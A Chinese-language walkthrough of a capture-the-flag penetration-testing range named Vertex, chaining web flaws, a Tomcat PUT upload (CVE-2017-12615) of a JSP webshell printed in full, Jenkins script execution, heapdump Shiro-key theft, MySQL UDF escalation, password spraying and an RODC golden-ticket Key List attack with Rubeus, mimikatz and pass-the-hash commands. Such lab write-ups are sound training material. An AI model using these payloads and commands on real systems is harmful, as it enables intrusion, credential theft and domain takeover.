Vertex

涉及的知识点

Tomcat put 文件上传漏洞(CVE-2017-12615)
Jenkins弱密码 + gitlab 组合利用
heapdump泄露
mysql弱密码一键利用
密码喷洒
RODC

入口机一

flag1

start infoscan
8.130.154.233:8000 open
8.130.154.233:1433 open
8.130.154.233:8172 open
8.130.154.233:80 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://8.130.154.233      code:200 len:43679  title:VertexSoft
[*] WebTitle https://8.130.154.233:8172 code:404 len:0      title:None
[*] WebTitle http://8.130.154.233:8000 code:200 len:4018   title:Modbus Monitor - VertexSoft Internal Attendance System

入口点有个登录注册点,注册功能未对权限进行校验,在注册页面抓包可以直接修改角色为admin

__RequestVerificationToken=dnT77wpFfjJqrqJl0KRAydLJJlm-RKHUNZf1MIDswQN8ldDGRQB_Lq-3xjvLH4np0UmspFF2SroKPnT5PZaKDHc910n17bC9ljZHNdeTS3M1&username=321&password=321&role=admin

文件下载-任意文件读取

登录后点击 Export List 可以下载文件,能暴露管理员账密跟上传路径(当时想着找文件上传点,忘记了文件下载功能可能存在任意文件读取,还是不够敏感)

vertex_1

vertex_2

admin/A1m!n@Qsx1Jn

Wappalyzer分析网址用的是 ASP.NET 框架,因此读取web.config默认文件,这里有点奇怪,按理文件名大小写不敏感,但是读web.config时,config必须字母有一个大写才能读到,后面rdp上去翻源码,暂未深究原因

vertex_3

/User/DownloadFile?download=Export&fileName=../web.Config

配置文件读到 mssql 账密

  <connectionStrings>
    <add name="UserModel" connectionString="data source=127.0.0.1;initial catalog=GuestDB;persist security info=True;user id=sa;password=Sa1pYbSM!dsQ;MultipleActiveResultSets=True;App=EntityFramework" providerName="System.Data.SqlClient" />
  </connectionStrings>

mssql利用

sa/Sa1pYbSM!dsQ

MDUT 工具一把梭,发现传工具会被杀,看了一下进程存在 WD

vertex_4

传个免杀小土豆,添加管理员账户

C:/Users/Public/spms.exe -a "net user simho whoami@123 /add"
C:/Users/Public/spms.exe -a "net localgroup administrators simho /add"

vertex_5

RDP上去拿到第一个flag

vertex_6

flag2

关WD收集内网信息

fscan.exe -h 192.168.8.9/24 -np

start infoscan
192.168.8.146:22 open
192.168.8.42:22 open
192.168.8.42:80 open
192.168.8.9:80 open
192.168.8.16:135 open
192.168.8.12:135 open
192.168.8.9:135 open
192.168.8.26:135 open
192.168.8.38:135 open
192.168.8.9:139 open
192.168.8.16:139 open
192.168.8.12:139 open
192.168.8.26:139 open
192.168.8.38:139 open
192.168.8.12:445 open
192.168.8.9:445 open
192.168.8.26:445 open
192.168.8.16:445 open
192.168.8.38:445 open
192.168.8.9:1433 open
192.168.8.38:3306 open
192.168.8.9:8000 open
192.168.8.26:8080 open
192.168.8.16:8080 open
192.168.8.146:8080 open
192.168.8.12:88 open
192.168.8.42:8060 open
192.168.8.9:8172 open
192.168.8.42:9094 open
[*] alive ports len is: 29
start vulscan
[*] WebTitle http://192.168.8.42:8060  code:404 len:555    title:404 Not Found
[*] NetBios 192.168.8.12    [+] DC:VERTEXSOFT\RODC
[*] NetBios 192.168.8.26    WORKGROUP\WIN-PC3788
[*] NetBios 192.168.8.16    WORKGROUP\WIN-SERVER03
[*] NetInfo
[*]192.168.8.38
   [->]WIN-OPS88
   [->]192.168.8.38
[*] NetInfo
[*]192.168.8.12
   [->]RODC
   [->]192.168.8.12
[*] NetInfo
[*]192.168.8.16
   [->]WIN-SERVER03
   [->]192.168.8.16
[*] NetInfo
[*]192.168.8.9
   [->]WIN-IISSERER
   [->]192.168.8.9
[*] NetInfo
[*]192.168.8.26
   [->]WIN-PC3788
   [->]192.168.8.26
[*] WebTitle http://192.168.8.42       code:302 len:99     title:None 跳转url: http://192.168.8.42/users/sign_in
[*] NetBios 192.168.8.38    WORKGROUP\WIN-OPS88
[*] WebTitle http://192.168.8.9        code:200 len:43679  title:VertexSoft
[+] mysql 192.168.8.38:3306:root 123456
[*] WebTitle http://192.168.8.146:8080 code:302 len:0      title:None 跳转url: http://192.168.8.146:8080/login;jsessionid=5E750AD36D2F1A594C6C4EAADEE050C9
[*] WebTitle http://192.168.8.26:8080  code:200 len:147    title:第一个 JSP 程序
[*] WebTitle http://192.168.8.42/users/sign_in code:200 len:11166  title:登录 · GitLab
[*] WebTitle http://192.168.8.16:8080  code:403 len:594    title:None
[*] WebTitle https://192.168.8.9:8172  code:404 len:0      title:None
[*] WebTitle http://192.168.8.146:8080/login;jsessionid=5E750AD36D2F1A594C6C4EAADEE050C9 code:200 len:1383   title:Master ERP login Form
[+] PocScan http://192.168.8.146:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://192.168.8.146:8080 poc-yaml-springboot-env-unauth spring2

Tomcat put 文件上传(CVE-2017-12615)

传个jsp蚁剑马

PUT /backup/upload/sim.jsp HTTP/1.1
Host: 192.168.8.26:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*
;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=A377FCF0DA5A1767C46C7478027926F9; JSESSIONID=0F908F3AE0576C6145257C8E9395272C
Connection: close
Content-Length: 956

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

vertex_7

http://192.168.8.26:8080/backup/sim.jsp

土豆提权拿第二个flag

C:/Users/Public/spms.exe -a "type C:\Users\Administrator\flag\flag.txt"

vertex_8

flag3

Jenkins 弱口令+后台命令执行

http://192.168.8.16:8080
admin/admin123

/manage/script 命令执行老手法了

println "whoami".execute().text

vertex_9

添加管理员账户,RDP连接拿第三个flag

vertex_10

flag4

gitlab

翻配置文件或者翻后台拿到 gitlab 的 API token

C:\ProgramData\Jenkins\.jenkins\credentials.xml

解密

println(hudson.util.Secret.fromString("{AQAAABAAAAAgvBTIIfz3QQnmD8y+ncKsVDqTEsdqjxdp/rkK9tRPkckOfP9xBtu6uqckTjQJ6gJj}").getPlainText())

// glpat-bGEgHAJDvwaPP78rsLeS

查看所有项目

curl --header "PRIVATE-TOKEN:glpat-bGEgHAJDvwaPP78rsLeS" "http://192.168.8.42/api/v4/projects"

搜索http_url_to_repo,一共有5个项目

git clone http://192.168.8.42:glpat-bGEgHAJDvwaPP78rsLeS@192.168.8.42/vertexsoft/vertexsoftbackup.git

vertexsoftbackup项目中的backup.txt拿到第四个flag(靶场的gitlab API token打的时候过期了,难绷)

{"error":"invalid_token","error_description":"Token is expired. You can either do re-authorization or token refresh."}

入口机二

flag5

start infoscan
8.130.147.92:8080 open
8.130.147.92:84 open
8.130.147.92:22 open
8.130.147.92:10000 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://8.130.147.92:8080  code:302 len:0      title:None 跳转url: http://8.130.147.92:8080/login;jsessionid=4B259F1C48900B77B3E80C0E9FDD6B58
[*] WebTitle http://8.130.147.92:10000 code:400 len:0      title:None
[*] WebTitle http://8.130.147.92:8080/login;jsessionid=4B259F1C48900B77B3E80C0E9FDD6B58 code:200 len:1383   title:Master ERP login Form
[+] PocScan http://8.130.147.92:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://8.130.147.92:8080 poc-yaml-springboot-env-unauth spring2

heapdump 泄露 ShiroKey

经典heapdump

http://8.130.172.33:8080/actuator/heapdump

JDumpSpider拿ShiroKey

===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = ro6vN77nEcopeQ1ypM7PuQ==, algName = AES

===========================================

注入冰蝎内存马,根目录拿到第五个flag

vertex_11

flag6

fscan扫内网,扫到mysql弱密码

root@erp:/tmp# ./fscan -h 192.168.8.146/24 -np

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
192.168.8.9:80 open
192.168.8.42:80 open
192.168.8.42:22 open
192.168.8.146:22 open
192.168.8.9:135 open
192.168.8.12:135 open
192.168.8.26:135 open
192.168.8.16:135 open
192.168.8.38:135 open
192.168.8.9:139 open
192.168.8.16:139 open
192.168.8.12:139 open
192.168.8.26:139 open
192.168.8.38:139 open
192.168.8.9:445 open
192.168.8.16:445 open
192.168.8.12:445 open
192.168.8.26:445 open
192.168.8.38:445 open
192.168.8.9:1433 open
192.168.8.38:3306 open
192.168.8.9:8000 open
192.168.8.16:8080 open
192.168.8.26:8080 open
192.168.8.146:8080 open
192.168.8.12:88 open
192.168.8.42:8060 open
192.168.8.9:8172 open
192.168.8.42:9094 open
[*] alive ports len is: 29
start vulscan
[*] NetInfo 
[*]192.168.8.9
   [->]WIN-IISSERER
   [->]192.168.8.9
[*] NetBios 192.168.8.16    WORKGROUP\WIN-SERVER03        
[*] NetBios 192.168.8.26    WORKGROUP\WIN-PC3788          
[*] NetBios 192.168.8.12    [+] DC:VERTEXSOFT\RODC         
[*] NetBios 192.168.8.38    WORKGROUP\WIN-OPS88           
[*] NetInfo 
[*]192.168.8.16
   [->]WIN-SERVER03
   [->]192.168.8.16
[*] NetInfo 
[*]192.168.8.12
   [->]RODC
   [->]192.168.8.12
[*] NetInfo 
[*]192.168.8.38
   [->]WIN-OPS88
   [->]192.168.8.38
[*] NetInfo 
[*]192.168.8.26
   [->]WIN-PC3788
   [->]192.168.8.26
[*] WebTitle http://192.168.8.9:8000   code:200 len:4018   title:Modbus Monitor - VertexSoft Internal Attendance System
[*] WebTitle http://192.168.8.9        code:200 len:43679  title:VertexSoft
[*] NetBios 192.168.8.9     WORKGROUP\WIN-IISSERER        
[*] WebTitle http://192.168.8.42:8060  code:404 len:555    title:404 Not Found
[*] WebTitle http://192.168.8.146:8080 code:302 len:0      title:None 跳转url: http://192.168.8.146:8080/login;jsessionid=AD08706D8BB820CE901FFC1CB939EB86
[*] WebTitle https://192.168.8.9:8172  code:404 len:0      title:None
[*] WebTitle http://192.168.8.146:8080/login;jsessionid=AD08706D8BB820CE901FFC1CB939EB86 code:200 len:1383   title:Master ERP login Form
[*] WebTitle http://192.168.8.42       code:302 len:99     title:None 跳转url: http://192.168.8.42/users/sign_in
[*] WebTitle http://192.168.8.26:8080  code:200 len:147    title:第一个 JSP 程序
[*] WebTitle http://192.168.8.42/users/sign_in code:200 len:11166  title:登录 · GitLab
[*] WebTitle http://192.168.8.16:8080  code:403 len:594    title:None
[+] PocScan http://192.168.8.146:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://192.168.8.146:8080 poc-yaml-springboot-env-unauth spring2
[+] mysql 192.168.8.38:3306:root 123456

mysql利用

MDUT一键udf提权,拿到system权限

vertex_12

添加管理员账户,RDP登录拿第六个flag

net user simho whoami@123 /add
net localgroup administrators simho /add

vertex_13

flag7

密码喷洒 + 过期密码修改

翻文件的时候在C:\Users\Administrator\Documents看到ROAdmins.xlsx,里面有几组账密,尝试在域内进行密码喷洒,发现账密全部过期

proxychains4 -q crackmapexec smb 192.168.8.1/24 -u user.txt -p pass.txt --no-bruteforce

vertex_14

像Delegation那样,在kali用rdesktop登录可以直接改密码,顺便设一个共享文件夹方便后续两边传文件

proxychains4 -q rdesktop 192.168.8.12 -u CharlieCloud -p 'u!6vDaGQOA' -d vertexsoft.local -r disk:share=/root/Desktop/vertex

登录后拿到第七个flag

vertex_15

flag8

RODC

通过下面两篇文章提炼了一下重点

https://whoamianony.top/posts/revisiting-a-abuse-of-read-only-domain-controllers/#domain-privilege-escalation
https://www.freebuf.com/articles/network/362023.html

只读域控制器(RODC)有以下几个特点:

  • RODC只允许只读访问,不允许对 Active Directory的数据进行修改。
    • 客户端可以从中查询和读取信息(例如,进行用户身份验证),但所有写入请求(如密码修改、属性更新)都会被 RODC 透明地转发到可读写的域控制器进行处理。
  • 数据只能从可读写的域控制器复制到 RODC,而 RODC 不会将任何数据复制回其他域控制器。
  • 默认情况下,RODC 上不存储任何用户或计算机的密码凭据。管理员可以通过“密码复制策略”配置控制哪些用户的密码可以被缓存到 RODC 上。

每个 RODC 都有自己特定的 Krbtgt 帐户,该帐户特定于该 RODC 并且与写域控制器的 Krbtgt 帐户隔离。RODC Kerberos 帐户遵循命名格式 “Krbtgt_xxxxx”,其中 xxxxx 是密钥版本号,以指示使用哪个密钥来加密和签署票证。

当 RODC 生成的 TGT 提供给可写域控制器时,仅当票证是为 RODC 的 msDS-RevealOnDemandGroup 属性中列出的主体生成且未在 RODC 的 msDS-NeverRevealGroup 属性中列出时,域控制器才会接受它。

  • msDS-RevealOnDemandGroup属性指定了一组可以在RODC上缓存其成员身份的安全组。如果用户是该组的成员,RODC将在需要时向上级域控制器请求其身份信息,并将其缓存在本地,从而提高身份验证速度和效率。
  • msDS-NeverRevealGroup属性指定了一组不允许在RODC上缓存其成员身份的安全组。如果用户是该组的成员,则其身份信息将始终从上级域控制器请求,并不会缓存在RODC上,从而保护敏感信息,避免在RODC上泄露。(该属性优先级高于msDS-RevealOnDemandGroup

简单来说,当获取到 RODC 管理员权限,可以通过伪造一个 RODC 的黄金票据,通过密钥列表攻击(Key List Attack)获取可写域控的管理员哈希值。

密钥列表攻击(Key List Attack)
  • 伪造 RODC 黄金票据,使用该票据向“KRBTGT”服务的可写域控制器发送 TGS-REQ

    TGS-REQ 包含“密钥列表请求”(KERB-KEY-LIST-REQ)。如果目标帐户位于 RODC 的 msDS-RevealOnDemandGroup 属性且不位于 msDS-NeverRevealGroup 属性,则 TGS-REP 将包含带有用户凭据的 KERB-KEY-LIST-REP 结构。
  • 密钥分发中心(KDC)收到包含 KERB-KEY-LIST-REQ padata 类型的 KRB_TGS-REQ 消息,并返回包含目标用户凭据的 KRB_TGS-REP 消息

  • 解密目标用户凭据,获取目标用户哈希,进行哈希传递攻击

利用步骤:

1、通过 bloodhound 分析得到前面表格里的域内用户都属于RODC ADMINS组,并且对只读域控有GenericAll权限

vertex_16

2、修改msDS-RevealOnDemandGroupmsDS-NeverRevealGroup属性

将域管理员账户添加到msDS-RevealOnDemandGroup 属性中

# 导入 PowerView 模块
Import-Module .\PowerView.ps1

# 获取当前属性值
Get-DomainObject 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Properties 'msDS-RevealOnDemandGroup' | Select-Object -ExpandProperty 'msDS-RevealOnDemandGroup'

# 设置新的属性值
Set-DomainObject -Identity 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Set @{'msDS-RevealOnDemandGroup'=@(
    'CN=Administrator,CN=Users,DC=vertexsoft,DC=local'
)}

将 msDS-NeverRevealGroup 属性清空

Import-Module .\PowerView.ps1
Get-DomainObject 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Properties 'msDS-NeverRevealGroup' | Select-Object -ExpandProperty 'msDS-NeverRevealGroup'
# 清空 msDS-NeverRevealGroup 的属性值
Set-DomainObject -Identity 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Clear 'msDS-NeverRevealGroup'

查看管理员用户是否在 msDS-NeverRevealGroup 属性中

Get-DomainObject -Identity RODC$

3、收集黄金票据需要的信息

  • rodcNumber —— RODC 中 Krbtgt 账户的密钥版本号
  • rc4 or aes256—— RODC 中 Krbtgt 账户的哈希值
  • user —— 要伪造的用户名
  • id —— 要伪造的用户 RID
  • domain
  • sid

查询 msDS-KrbTgtLink 属性拿到krbtgt账户名,拿到 krbtgt 账户对应密钥版本号和sid

PS > Get-ADComputer RODC(机器账户名) -Properties msDS-KrbTgtLink

查询 msDS-SecondaryKrbTgtNumber 和 msDS-KrbTgtLinkBl 属性

PS > Get-ADUser krbtgt_23165(krbtgt账户名) -Properties msDS-SecondaryKrbTgtNumber,msDS-KrbTGTLinkBl

或者直接利用 mimikatz 导出只读域控上凭据,获取 krbtgt 账户的账户名、哈希值、要伪造用户(administrator)的RID、sid

mimikatz.exe "Privilege::Debug" "log" "lsadump::lsa /patch" "exit"

4、制作 RODC 黄金票据

Rubeus23.exe golden /rodcNumber:4156 /rc4:34e335179246ef930dc33fd1e3de6e9e /user:Administrator /id:500 /domain:vertexsoft.local /sid:S-1-5-21-1670446094-1720415002-1380520873 /nowrap
# /nowrap参数可以让输出的base64票据不包含换行符

5、利用黄金票据对可写域控发起密钥列表攻击

Rubeus23.exe asktgs /enctype:rc4 /keyList /service:krbtgt/vertexsoft.local /dc:DC.vertexsoft.local /ticket:do...

获取可写域控哈希

vertex_17

6、定位可写域控的ip地址,哈希传递登录,获取最后一个flag

ipconfig /all 或者 ping DC.vertexsoft.local

vertex_18

proxychains4 -q impacket-smbexec -hashes :EBC447441306783742EE3DF769051B75 vertexsoft.local/administrator@192.168.1.11 -codec gbk

vertex_19

评论已关闭。